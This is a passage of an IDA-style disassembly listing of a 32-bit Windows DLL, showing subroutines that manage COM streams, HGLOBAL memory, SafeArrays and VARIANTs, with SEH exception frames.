call dword ptr [eax+0B4h]
jmp short loc_69B55A8E
; ---------------------------------------------------------------------------
loc_69B55A8C: ; CODE XREF: sub_69B55A48+38j
xor eax, eax
loc_69B55A8E: ; CODE XREF: sub_69B55A48+42j
push eax
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_1C]
call sub_69B3B332
mov eax, [esi+30h]
push 1
push [ebp+arg_4]
inc eax
push eax
mov ecx, esi
call sub_69B558B9
lea ecx, [ebp+var_1C]
mov esi, eax
call sub_69B18EBA
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
pop edi
mov eax, esi
pop esi
loc_69B55ACE: ; CODE XREF: sub_69B55A48+18j
pop ebx
leave
retn 8
sub_69B55A48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55AD3 proc near ; CODE XREF: sub_69B55B8D+4Fp
; sub_69B55C4C+68p
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
push edi
push 1
push [ebp+arg_0]
mov esi, ecx
call sub_69B5586C
mov edi, eax
test edi, edi
jz loc_69B55B85
cmp edi, [esi+3Ch]
jnz short loc_69B55B08
mov ecx, esi
call sub_69B54DEB
push 0
mov ecx, esi
call sub_69B553E2
jmp short loc_69B55B85
; ---------------------------------------------------------------------------
loc_69B55B08: ; CODE XREF: sub_69B55AD3+21j
mov eax, [edi]
push ebx
mov ecx, edi
call dword ptr [eax+0F4h]
mov ebx, eax
test ebx, ebx
jz short loc_69B55B28
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+0B4h]
mov [ebp+var_4], eax
jmp short loc_69B55B2C
; ---------------------------------------------------------------------------
loc_69B55B28: ; CODE XREF: sub_69B55AD3+44j
and [ebp+var_4], 0
loc_69B55B2C: ; CODE XREF: sub_69B55AD3+53j
push dwTlsIndex
call dword_69B92970
push [ebp+var_4]
lea ecx, [esi+0Ch]
mov [ebp+var_8], eax
call sub_69B87FDC
push eax
push [ebp+var_8]
lea ecx, [ebp+var_1C]
call sub_69B54B6A
cmp [ebp+var_18], 0
jnz short loc_69B55B62
push 80004005h
call sub_69B2E8B8
loc_69B55B62: ; CODE XREF: sub_69B55AD3+83j
test ebx, ebx
jz short loc_69B55B71
mov eax, [ebx]
push edi
mov ecx, ebx
call dword ptr [eax+84h]
loc_69B55B71: ; CODE XREF: sub_69B55AD3+91j
push [ebp+arg_0]
mov ecx, [esi+28h]
call sub_69B8A22A
lea ecx, [ebp+var_1C]
call sub_69B4637D
pop ebx
loc_69B55B85: ; CODE XREF: sub_69B55AD3+18j
; sub_69B55AD3+33j
mov eax, edi
pop edi
pop esi
leave
retn 4
sub_69B55AD3 endp
; =============== S U B R O U T I N E =======================================
sub_69B55B8D proc near ; DATA XREF: .text:69B125F0o
push 20h
push offset dword_69B55C40
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B55BB0
mov eax, 80004005h
jmp loc_69B55C38
; ---------------------------------------------------------------------------
loc_69B55BB0: ; CODE XREF: sub_69B55B8D+17j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
mov edi, [ebp+0Ch]
test edi, edi
jz short loc_69B55BD5
and dword ptr [edi], 0
loc_69B55BD5: ; CODE XREF: sub_69B55B8D+43j
mov eax, [esi+30h]
inc eax
push eax
mov ecx, esi
call sub_69B55AD3
mov [ebp-2Ch], eax
test edi, edi
jz short loc_69B55BF3
push edi
push eax
mov ecx, esi
call sub_69B54DBE
jmp short loc_69B55C1D
; ---------------------------------------------------------------------------
loc_69B55BF3: ; CODE XREF: sub_69B55B8D+59j
xor ecx, ecx
test eax, eax
setz cl
mov [ebp-30h], ecx
jmp short loc_69B55C20
; ---------------------------------------------------------------------------
loc_69B55BFF: ; DATA XREF: .text:69B55C44o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55C08: ; DATA XREF: .text:69B55C48o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B55C1D: ; CODE XREF: sub_69B55B8D+64j
mov [ebp-30h], eax
loc_69B55C20: ; CODE XREF: sub_69B55B8D+70j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B55C38: ; CODE XREF: sub_69B55B8D+1Ej
call sub_69B1853C
retn 8
sub_69B55B8D endp
; ---------------------------------------------------------------------------
dword_69B55C40 dd 0FFFFFFFFh dd offset loc_69B55BFF
dd offset loc_69B55C08
; =============== S U B R O U T I N E =======================================
sub_69B55C4C proc near ; DATA XREF: .text:69B125F4o
push 24h
push offset dword_69B55D18
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B55C71
mov eax, 80004005h
jmp loc_69B55D0B
; ---------------------------------------------------------------------------
loc_69B55C71: ; CODE XREF: sub_69B55C4C+19j
mov esi, [ebp+8]
lea ecx, [esi+0Ch]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
xor edi, edi
mov [ebp-4], ebx
mov eax, [esi+3Ch]
mov [ebp-2Ch], eax
cmp eax, ebx
jz short loc_69B55CB1
mov [ebp-30h], eax
mov al, [eax+0Ah]
not al
test al, 1
jz short loc_69B55CB1
loc_69B55CA3: ; CODE XREF: sub_69B55C4C+63j
cmp [esi+2Ch], bl
jnz short loc_69B55CB1
mov ecx, esi
call sub_69B555EC
jmp short loc_69B55CA3
; ---------------------------------------------------------------------------
loc_69B55CB1: ; CODE XREF: sub_69B55C4C+49j
; sub_69B55C4C+55j ...
push ebx
mov ecx, esi
call sub_69B55AD3
mov [ebp-34h], eax
cmp eax, ebx
jnz short loc_69B55CB1
mov ecx, esi
call sub_69B54DEB
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B55CF3
; ---------------------------------------------------------------------------
loc_69B55CCD: ; DATA XREF: .text:69B55D1Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55CD6: ; DATA XREF: .text:69B55D20o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
xor ebx, ebx
loc_69B55CF3: ; CODE XREF: sub_69B55C4C+7Fj
lea ecx, [ebp-28h]
call sub_69B1976C
cmp [ebp-1Ch], ebx
jz short loc_69B55D09
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B55D09: ; CODE XREF: sub_69B55C4C+B2j
mov eax, edi
loc_69B55D0B: ; CODE XREF: sub_69B55C4C+20j
call sub_69B1853C
retn 4
sub_69B55C4C endp
; ---------------------------------------------------------------------------
align 8
dword_69B55D18 dd 0FFFFFFFFh dd offset loc_69B55CCD
dd offset loc_69B55CD6
; =============== S U B R O U T I N E =======================================
sub_69B55D24 proc near ; DATA XREF: .text:69B125F8o
push 44h
push offset dword_69B55E88
call sub_69B19C5C
call dword_69B92948
mov ebx, eax
mov [ebp-1Ch], ebx
test ebx, ebx
jnz short loc_69B55D49
mov eax, 80004005h
jmp loc_69B55E7B
; ---------------------------------------------------------------------------
loc_69B55D49: ; CODE XREF: sub_69B55D24+19j
mov esi, [ebp+8]
lea edi, [esi+0Ch]
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_69B55D71
mov eax, [ecx]
call dword ptr [eax+0B4h]
jmp short loc_69B55D73
; ---------------------------------------------------------------------------
loc_69B55D71: ; CODE XREF: sub_69B55D24+41j
xor eax, eax
loc_69B55D73: ; CODE XREF: sub_69B55D24+4Bj
push eax
mov ecx, edi
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp-38h]
call sub_69B3B332
and dword ptr [ebp-3Ch], 0
mov ebx, [ebp+0Ch]
test ebx, ebx
jnz short loc_69B55D9C
mov dword ptr [ebp-3Ch], 80070057h
jmp loc_69B55E59
; ---------------------------------------------------------------------------
loc_69B55D9C: ; CODE XREF: sub_69B55D24+6Aj
and dword ptr [ebp-4], 0
push 44h
call sub_69B1D897
mov ecx, eax
mov [ebp-40h], ecx
test ecx, ecx
jz short loc_69B55DB7
call sub_69B4399D
jmp short loc_69B55DB9
; ---------------------------------------------------------------------------
loc_69B55DB7: ; CODE XREF: sub_69B55D24+8Aj
xor eax, eax
loc_69B55DB9: ; CODE XREF: sub_69B55D24+91j
mov edi, eax
mov [ebp-44h], edi
mov eax, [esi+38h]
mov [edi+38h], eax
mov eax, [esi+40h]
mov [ebp-48h], eax
push eax ; int
push 0 ; lpString
mov ecx, edi
call sub_69B5538B
mov eax, [esi+3Ch]
mov [ebp-4Ch], eax
push eax
mov ecx, edi
call sub_69B553E2
push 1
mov eax, [esi+30h]
inc eax
push eax
mov ecx, esi
call sub_69B5586C
mov [ebp-50h], eax
cmp byte ptr [esi+2Ch], 0
jnz short loc_69B55E15
loc_69B55DF9: ; CODE XREF: sub_69B55D24+EDj
push 0
mov eax, [edi+30h]
inc eax
push eax
mov ecx, edi
call sub_69B5586C
mov [ebp-54h], eax
test eax, eax
jz short loc_69B55E19
cmp eax, [ebp-50h]
jnz short loc_69B55DF9
jmp short loc_69B55E19
; ---------------------------------------------------------------------------
loc_69B55E15: ; CODE XREF: sub_69B55D24+D3j
mov byte ptr [edi+2Ch], 1
loc_69B55E19: ; CODE XREF: sub_69B55D24+E8j
; sub_69B55D24+EFj
mov ecx, [esi+28h]
mov eax, [ecx]
call dword ptr [eax+28h]
push eax
lea ecx, [edi+28h]
call sub_69B199CC
mov eax, [esi+30h]
mov [edi+30h], eax
mov [ebx], edi
jmp short loc_69B55E55
; ---------------------------------------------------------------------------
loc_69B55E34: ; DATA XREF: .text:69B55E8Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B55E3D: ; DATA XREF: .text:69B55E90o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
loc_69B55E55: ; CODE XREF: sub_69B55D24+10Ej
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B55E59: ; CODE XREF: sub_69B55D24+73j
lea ecx, [ebp-38h]
call sub_69B18EBA
lea ecx, [ebp-28h]
call sub_69B1976C
cmp dword ptr [ebp-1Ch], 0
jz short loc_69B55E78
push dword ptr [ebp-1Ch]
call dword_69B92944
loc_69B55E78: ; CODE XREF: sub_69B55D24+149j
mov eax, [ebp-3Ch]
loc_69B55E7B: ; CODE XREF: sub_69B55D24+20j
call sub_69B1853C
retn 8
sub_69B55D24 endp
; ---------------------------------------------------------------------------
align 8
dword_69B55E88 dd 0FFFFFFFFh dd offset loc_69B55E34
dd offset loc_69B55E3D
; =============== S U B R O U T I N E =======================================
sub_69B55E94 proc near ; DATA XREF: .text:69B2801Co
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
push dword ptr [esi]
add ecx, 0FFFFFFE4h
call sub_69B5586C
test eax, eax
jz short loc_69B55EAB
inc dword ptr [esi]
loc_69B55EAB: ; CODE XREF: sub_69B55E94+13j
pop esi
retn 4
sub_69B55E94 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55EAF proc near ; DATA XREF: .text:69B12810o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
cmp edx, 2
jnz short loc_69B55ECC
mov ecx, [ebp+arg_4]
or ecx, [ebp+arg_8]
jz short loc_69B55EFB
mov eax, 80004001h
jmp short loc_69B55F1F
; ---------------------------------------------------------------------------
loc_69B55ECC: ; CODE XREF: sub_69B55EAF+Cj
mov ecx, [ebp+arg_C]
sub ecx, 0
jz short loc_69B55EEA
dec ecx
jz short loc_69B55EE2
dec ecx
jnz short loc_69B55EF0
mov ecx, [eax+1Ch]
add ecx, [ebp+arg_4]
jmp short loc_69B55EED
; ---------------------------------------------------------------------------
loc_69B55EE2: ; CODE XREF: sub_69B55EAF+26j
mov ecx, [ebp+arg_4]
add [eax+24h], ecx
jmp short loc_69B55EF0
; ---------------------------------------------------------------------------
loc_69B55EEA: ; CODE XREF: sub_69B55EAF+23j
mov ecx, [ebp+arg_4]
loc_69B55EED: ; CODE XREF: sub_69B55EAF+31j
mov [eax+24h], ecx
loc_69B55EF0: ; CODE XREF: sub_69B55EAF+29j
; sub_69B55EAF+39j
mov ecx, [eax+1Ch]
cmp [eax+24h], ecx
jbe short loc_69B55EFB
mov [eax+24h], ecx
loc_69B55EFB: ; CODE XREF: sub_69B55EAF+14j
; sub_69B55EAF+47j
mov ecx, [ebp+arg_10]
test ecx, ecx
jz short loc_69B55F1D
test edx, edx
jnz short loc_69B55F0A
and [ecx], edx
jmp short loc_69B55F19
; ---------------------------------------------------------------------------
loc_69B55F0A: ; CODE XREF: sub_69B55EAF+55j
cmp edx, 1
jnz short loc_69B55F14
mov eax, [eax+24h]
jmp short loc_69B55F17
; ---------------------------------------------------------------------------
loc_69B55F14: ; CODE XREF: sub_69B55EAF+5Ej
mov eax, [eax+1Ch]
loc_69B55F17: ; CODE XREF: sub_69B55EAF+63j
mov [ecx], eax
loc_69B55F19: ; CODE XREF: sub_69B55EAF+59j
and dword ptr [ecx+4], 0
loc_69B55F1D: ; CODE XREF: sub_69B55EAF+51j
xor eax, eax
loc_69B55F1F: ; CODE XREF: sub_69B55EAF+1Bj
pop ebp
retn 14h
sub_69B55EAF endp
; =============== S U B R O U T I N E =======================================
sub_69B55F23 proc near ; CODE XREF: sub_69B1AA33+AD9Bp
; sub_69B1AA33+AE63p
; DATA XREF: ...
xor eax, eax
retn 8
sub_69B55F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B55F28 proc near ; CODE XREF: sub_69B5611F+2Ep
; sub_69B7D890+15p
var_60 = byte ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
hMem = dword ptr -0Ch
pstm = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 60h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, esi
mov [ebp+var_10], esi
mov [ebp+pstm], esi
mov [ebp+hMem], esi
mov [ebp+var_18], esi
mov [ebp+var_14], esi
jnz short loc_69B55F5D
mov ebx, 80070057h
jmp loc_69B5603F
; ---------------------------------------------------------------------------
loc_69B55F5D: ; CODE XREF: sub_69B55F28+29j
mov ecx, [eax]
lea edx, [ebp+var_10]
push edx
push offset dword_69B2B0D0
push eax
call dword ptr [ecx]
mov ebx, eax
cmp ebx, esi
jl loc_69B56025
lea eax, [ebp+pstm]
push eax ; ppstm
push 1 ; fDeleteOnRelease
push esi ; hGlobal
call ds:CreateStreamOnHGlobal
mov ebx, eax
cmp ebx, esi
jl loc_69B56025
mov eax, [ebp+var_10]
mov ecx, [eax]
push 1
push [ebp+pstm]
push eax
call dword ptr [ecx+18h]
mov ebx, eax
cmp ebx, esi
jl loc_69B56025
lea eax, [ebp+hMem]
push eax ; phglobal
push [ebp+pstm] ; pstm
call ds:GetHGlobalFromStream
mov ebx, eax
cmp ebx, esi
jl short loc_69B56025
push edi
push 12h
pop ecx
xor eax, eax
push 1
lea edi, [ebp+var_60]
rep stosd
mov eax, [ebp+pstm]
mov ecx, [eax]
lea edx, [ebp+var_60]
push edx
push eax
call dword ptr [ecx+30h]
cmp [ebp+var_54], esi
jz short loc_69B55FDD
mov ebx, 80004005h
jmp short loc_69B56024
; ---------------------------------------------------------------------------
loc_69B55FDD: ; CODE XREF: sub_69B55F28+ACj
mov eax, [ebp+var_58]
cmp eax, esi
mov [ebp+var_14], eax
jbe short loc_69B56024
push eax
call sub_69B11E44
mov edi, eax
cmp edi, esi
mov [ebp+var_18], edi
jnz short loc_69B55FFD
mov ebx, 8007000Eh
jmp short loc_69B56024
; ---------------------------------------------------------------------------
loc_69B55FFD: ; CODE XREF: sub_69B55F28+CCj
push [ebp+hMem] ; hMem
call ds:GlobalLock ; GlobalLock
mov ecx, [ebp+var_14]
mov esi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
push [ebp+hMem] ; hMem
call ds:GlobalUnlock ; GlobalUnlock
xor esi, esi
loc_69B56024: ; CODE XREF: sub_69B55F28+B3j
; sub_69B55F28+BDj ...
pop edi
loc_69B56025: ; CODE XREF: sub_69B55F28+47j
; sub_69B55F28+5Ej ...
mov eax, [ebp+var_10]
cmp eax, esi
jz short loc_69B56032
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B56032: ; CODE XREF: sub_69B55F28+102j
mov eax, [ebp+pstm]
cmp eax, esi
jz short loc_69B5603F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5603F: ; CODE XREF: sub_69B55F28+30j
; sub_69B55F28+10Fj
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_18]
mov [eax], ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_14]
mov [eax], ecx
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
pop esi
mov eax, ebx
pop ebx
call sub_69B1B9F6
leave
retn 0Ch
sub_69B55F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B56062 proc near ; DATA XREF: .text:off_69B127FCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx+14h]
test eax, eax
push esi
push edi
mov edx, offset stru_69B1CA6C
jz short loc_69B56095
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, edx
xor ebx, ebx
repe cmpsd
jnz short loc_69B56092
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx]
jmp short loc_69B560D9
; ---------------------------------------------------------------------------
loc_69B56092: ; CODE XREF: sub_69B56062+21j
mov ebx, [ebp+arg_0]
loc_69B56095: ; CODE XREF: sub_69B56062+13j
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, edx
xor eax, eax
repe cmpsd
jz short loc_69B560CC
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2AFF0
xor eax, eax
repe cmpsd
jz short loc_69B560CC
mov esi, [ebp+arg_4]
push 4
pop ecx
mov edi, offset dword_69B2B000
xor eax, eax
repe cmpsd
jz short loc_69B560CC
mov eax, 80004002h
jmp short loc_69B560D9
; ---------------------------------------------------------------------------
loc_69B560CC: ; CODE XREF: sub_69B56062+3Fj
; sub_69B56062+50j ...
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov eax, [ebp+arg_8]
mov [eax], ebx
xor eax, eax
loc_69B560D9: ; CODE XREF: sub_69B56062+2Ej
; sub_69B56062+68j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B56062 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B560E0 proc near ; CODE XREF: sub_69B56167+40p
; sub_69B5642C+C4p
pvarg = VARIANTARG ptr -10h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
lea eax, [ebp+pvarg]
push eax ; pvarg
mov ebx, ecx
call VariantInit
mov eax, [ebx+2Ch]
mov dword ptr [ebp+pvarg.anonymous_0+8], eax
mov eax, [ebx+28h]
mov word ptr [ebp+pvarg.anonymous_0], 2011h
mov ecx, [eax]
sub esp, 10h
mov edi, esp
lea esi, [ebp+pvarg]
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+54h]
and dword ptr [ebx+30h], 0
pop edi
pop esi
pop ebx
leave
retn
sub_69B560E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5611F proc near ; CODE XREF: sub_69B561FC+95p
; sub_69B56301+62p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
lea edx, [ebp+var_4]
mov esi, ecx
mov eax, [esi+14h]
mov ecx, [eax]
push edx
push offset dword_69B2AFE0
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B56154
lea eax, [esi+1Ch]
push eax
add esi, 20h
push esi
push [ebp+var_4]
call sub_69B55F28
mov edi, eax
loc_69B56154: ; CODE XREF: sub_69B5611F+21j
mov eax, [ebp+var_4]
test eax, eax
jz short loc_69B56161
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B56161: ; CODE XREF: sub_69B5611F+3Aj
mov eax, edi
pop edi
pop esi
leave
retn
sub_69B5611F endp
; =============== S U B R O U T I N E =======================================
sub_69B56167 proc near ; CODE XREF: sub_69B5654C+3p
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esi-4]
xor ebp, ebp
cmp dword ptr [esi+0Ch], 2
push edi
mov dword ptr [ecx], offset off_69B127FC
mov dword ptr [esi], offset off_69B28B0C
jnz short loc_69B561AC
mov eax, [esi+14h]
cmp eax, ebp
jz short loc_69B561A2
mov ecx, [eax]
push 1
push ebp
push ebp
push eax
call dword ptr [ecx+44h]
mov eax, [esi+14h]
mov ecx, [eax]
push 0FFFFFFFFh
push eax
call dword ptr [ecx+60h]
jmp short loc_69B561AC
; ---------------------------------------------------------------------------
loc_69B561A2: ; CODE XREF: sub_69B56167+22j
cmp [esi+2Ch], ebp
jbe short loc_69B561AC
call sub_69B560E0
loc_69B561AC: ; CODE XREF: sub_69B56167+1Bj
; sub_69B56167+39j ...
push ebp
lea edi, [esi+14h]
push edi
call sub_69B17320
push ebp
lea ebx, [esi+10h]
push ebx
call sub_69B17320
push 0
lea ebp, [esi+24h]
push ebp
call sub_69B17320
push dword ptr [esi+1Ch]
call sub_69B1B2B7
mov esi, [esi+28h]
test esi, esi
jz short loc_69B561E1
push esi ; psa
call SafeArrayDestroy
loc_69B561E1: ; CODE XREF: sub_69B56167+71j
push ebp
call sub_69B17230
push edi
call sub_69B17230
push ebx
call sub_69B17230
pop edi
pop esi
pop ebp
pop ebx
jmp sub_69B2C65C
sub_69B56167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B561FC proc near ; DATA XREF: .text:69B12808o
var_C = dword ptr -0Ch
ppvData = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
call dword_69B92948
xor esi, esi
cmp eax, esi
mov [ebp+var_C], eax
jnz short loc_69B5621C
mov eax, 80004005h
jmp loc_69B562FC
; ---------------------------------------------------------------------------
loc_69B5621C: ; CODE XREF: sub_69B561FC+14j
push ebx
mov ebx, [ebp+arg_0]
cmp dword ptr [ebx+10h], 2
mov ecx, [ebx+20h]
mov [ebp+var_4], esi
mov [ebp+ppvData], ecx
jnz short loc_69B56239
mov esi, 80004005h
jmp loc_69B562F0
; ---------------------------------------------------------------------------
loc_69B56239: ; CODE XREF: sub_69B561FC+31j
cmp [ebx+14h], esi
push edi
mov dword ptr [ebx+10h], 1
jnz short loc_69B56253
cmp [ebx+2Ch], esi
jnz short loc_69B56253
mov [ebp+arg_8], esi
jmp loc_69B562E0
; ---------------------------------------------------------------------------
loc_69B56253: ; CODE XREF: sub_69B561FC+48j
; sub_69B561FC+4Dj
mov edi, [ebp+arg_4]
cmp edi, esi
jnz short loc_69B5626B
cmp [ebp+arg_8], esi
jbe short loc_69B5626E
mov [ebp+var_4], 80030009h
jmp loc_69B562EC
; ---------------------------------------------------------------------------
loc_69B5626B: ; CODE XREF: sub_69B561FC+5Cj
cmp [ebp+arg_8], esi
loc_69B5626E: ; CODE XREF: sub_69B561FC+61j
jz short loc_69B562E0
mov eax, [ebx+2Ch]
cmp eax, esi
jz short loc_69B5628B
lea ecx, [ebp+ppvData]
push ecx ; ppvData
push eax ; psa
call SafeArrayAccessData
cmp eax, esi
mov [ebp+var_4], eax
jnz short loc_69B562EC
jmp short loc_69B562A3
; ---------------------------------------------------------------------------
loc_69B5628B: ; CODE XREF: sub_69B561FC+79j
cmp ecx, esi
jnz short loc_69B562A3
mov ecx, ebx
call sub_69B5611F
cmp eax, esi
mov [ebp+var_4], eax
jl short loc_69B562EC
mov eax, [ebx+20h]
mov [ebp+ppvData], eax
loc_69B562A3: ; CODE XREF: sub_69B561FC+8Dj
; sub_69B561FC+91j
mov eax, [ebx+24h]
mov edx, [ebp+arg_8]
mov ecx, [ebx+1Ch]
lea esi, [eax+edx]
cmp esi, ecx
jbe short loc_69B562BA
sub ecx, eax
mov [ebp+arg_8], ecx
mov edx, ecx
loc_69B562BA: ; CODE XREF: sub_69B561FC+B5j
mov esi, [ebp+ppvData]
add esi, eax
mov ecx, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
add [ebx+24h], edx
mov ebx, [ebx+2Ch]
test ebx, ebx
jz short loc_69B562E0
push ebx ; psa
call SafeArrayUnaccessData
loc_69B562E0: ; CODE XREF: sub_69B561FC+52j
; sub_69B561FC:loc_69B5626Ej ...
mov eax, [ebp+arg_C]
test eax, eax
jz short loc_69B562EC
mov ecx, [ebp+arg_8]
mov [eax], ecx
loc_69B562EC: ; CODE XREF: sub_69B561FC+6Aj
; sub_69B561FC+8Bj ...
mov esi, [ebp+var_4]
pop edi
loc_69B562F0: ; CODE XREF: sub_69B561FC+38j
push [ebp+var_C]
call dword_69B92944
mov eax, esi
pop ebx
loc_69B562FC: ; CODE XREF: sub_69B561FC+1Bj
pop esi
leave
retn 10h
sub_69B561FC endp
; =============== S U B R O U T I N E =======================================
sub_69B56301 proc near ; DATA XREF: .text:69B1282Co
push 30h
push offset dword_69B56420
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor edx, edx
cmp eax, edx
jnz short loc_69B56326
mov eax, 80004005h
jmp loc_69B56417
; ---------------------------------------------------------------------------
loc_69B56326: ; CODE XREF: sub_69B56301+19j
mov [ebp-20h], edx
mov ebx, [ebp+0Ch]
cmp ebx, edx
jnz short loc_69B5633C
mov dword ptr [ebp-20h], 80030009h
jmp loc_69B5640B
; ---------------------------------------------------------------------------
loc_69B5633C: ; CODE XREF: sub_69B56301+2Dj
push 12h
pop ecx
xor eax, eax
mov edi, ebx
rep stosd
mov dword ptr [ebx+4], 2
mov [ebp-4], edx
mov esi, [ebp+8]
mov eax, [esi+14h]
mov [ebp-24h], eax
cmp eax, edx
jz short loc_69B56373
cmp [esi+20h], edx
jnz short loc_69B56373
mov ecx, esi
call sub_69B5611F
mov [ebp-20h], eax
test eax, eax
jl loc_69B56407
loc_69B56373: ; CODE XREF: sub_69B56301+59j
; sub_69B56301+5Ej
mov eax, [esi+1Ch]
mov [ebx+8], eax
test byte ptr [ebp+10h], 1
jnz loc_69B56407
mov esi, [esi+14h]
mov [ebp-28h], esi
test esi, esi
jz short loc_69B56407
mov [ebp-2Ch], esi
mov esi, [esi+48h]
mov [ebp-30h], esi
mov [ebp-34h], esi
test esi, esi
jz short loc_69B56407
mov eax, [esi+8]
mov [ebp-38h], eax
mov [ebp-3Ch], eax
lea ebx, [eax+eax]
lea eax, [ebx+2]
push eax ; cb
call ds:CoTaskMemAlloc
mov edx, [ebp+0Ch]
mov [edx], eax
test eax, eax
jnz short loc_69B563C5
mov dword ptr [ebp-20h], 8007000Eh
jmp short loc_69B56407
; ---------------------------------------------------------------------------
loc_69B563C5: ; CODE XREF: sub_69B56301+B9j
mov esi, [esi+0Ch]
mov [ebp-40h], esi
mov ecx, ebx
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov eax, [edx]
and word ptr [ebx+eax], 0
jmp short loc_69B56407
; ---------------------------------------------------------------------------
loc_69B563E6: ; DATA XREF: .text:69B56424o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B563EF: ; DATA XREF: .text:69B56428o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-20h], eax
loc_69B56407: ; CODE XREF: sub_69B56301+6Cj
; sub_69B56301+7Cj ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5640B: ; CODE XREF: sub_69B56301+36j
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-20h]
loc_69B56417: ; CODE XREF: sub_69B56301+20j
call sub_69B1853C
retn 0Ch
sub_69B56301 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B56420 dd 0FFFFFFFFh dd offset loc_69B563E6
dd offset loc_69B563EF
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5642C proc near ; CODE XREF: sub_69B5669F+6Cp
